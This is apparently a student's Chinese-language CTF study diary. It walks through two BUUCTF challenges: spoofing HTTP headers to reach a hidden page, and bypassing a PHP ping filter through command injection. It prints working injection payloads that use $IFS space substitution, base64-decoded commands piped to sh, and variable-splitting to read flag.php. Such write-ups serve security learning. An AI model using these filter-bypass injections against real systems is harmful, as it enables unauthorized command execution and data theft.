20201226学习日记-BUUCTF小体验
顺便来了一波水题,发现不懂的领域
[极客大挑战 2019]Http
查看源代码
先查看一波源代码,发现
1 | <a style="border:none;cursor:default;" onclick="return false" href="Secret.php"> |
因此去secrect.pnp
看看
修改Referer
修改UA
果然出现了UA的修改,需要修改成对应的UA
修改X-Forwarded-For
比起burp suite
这些我更想用fidder
。
最后得到flag。
[GXYCTF2019]Ping Ping Ping
看了题目/?ip=
直接傻眼(逃),顶多看得懂其中有一个参数ip
,但接下来手足无措。跑去查了题解,梳理了一下。
考点
下面内容来源:https://blog.csdn.net/vanarrow/article/details/108295481
0、命令联合执行
1 | ; 前面的执行完执行后面的 |
1、命令绕过空格方法有:
1 | ${IFS}$9 |
2、内联执行
内联,就是将反引号内命令的输出作为输入执行
1 | ?ip=127.0.0.1;cat$IFS$9`ls` |
解题
梳理了CSDN网友的思路,总结一下
执行命令
用 |
或者;
执行命令
1 | ?ip=127.0.0.1;ls |
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php
判断过滤字符
滤了空格和标点,flag等符号,不能直接cat flag
cat flag
是何方神圣呢?cat命令传送门
/?ip= fxck your space!
过滤了空格,用${IFS}$
代替
1 | ?ip=127.0.0.1;cat${IFS}flag.php |
fxck your symbol! 过滤{}
也过滤了{},用$IFS$1
代替
1 | ?ip=127.0.0.1;cat$IFS$1flag.php |
/?ip= fxck your flag!
不读flag,读index
1 | ?ip=127.0.0.1;cat$IFS$1index.php |
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|'|"|\|(|)|[|]|{|}/“, $ip, $match)){
echo preg_match(“/&|/|?|*|<|[\x{00}-\x{20}]|>|'|"|\|(|)|[|]|{|}/“, $ip, $match);
die(“fxck your symbol!”);
} else if(preg_match(“/ /“, $ip)){
die(“fxck your space!”);
} else if(preg_match(“/bash/“, $ip)){
die(“fxck your bash!”);
} else if(preg_match(“/.*f.*l.*a.g./“, $ip)){
die(“fxck your flag!”);
}
$a = shell_exec(“ping -c 4 “.$ip);
echo “
“;
print_r($a);
}?>
一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤:
- 总结:过滤的特殊字符:
1 | & / ? * < x{00}-\x{1f} ' " \ () [] {} 空格 |
构造payload
1 | ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
此payload只是其中的一个
除此之外还有形如
1 | ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
不难看出通过变量替换
绕过了过滤。
然后查看源代码得flag
写在后面
本篇大部分使用了
https://blog.csdn.net/vanarrow/article/details/108295481
的内容,由于CTF思路确实需要参考。
在后面挂一个很好的命令提示符漏洞绕过与执行的博客总结
https://www.ghtwf01.cn/index.php/archives/273/
学会绕过过滤的路还有好长的样子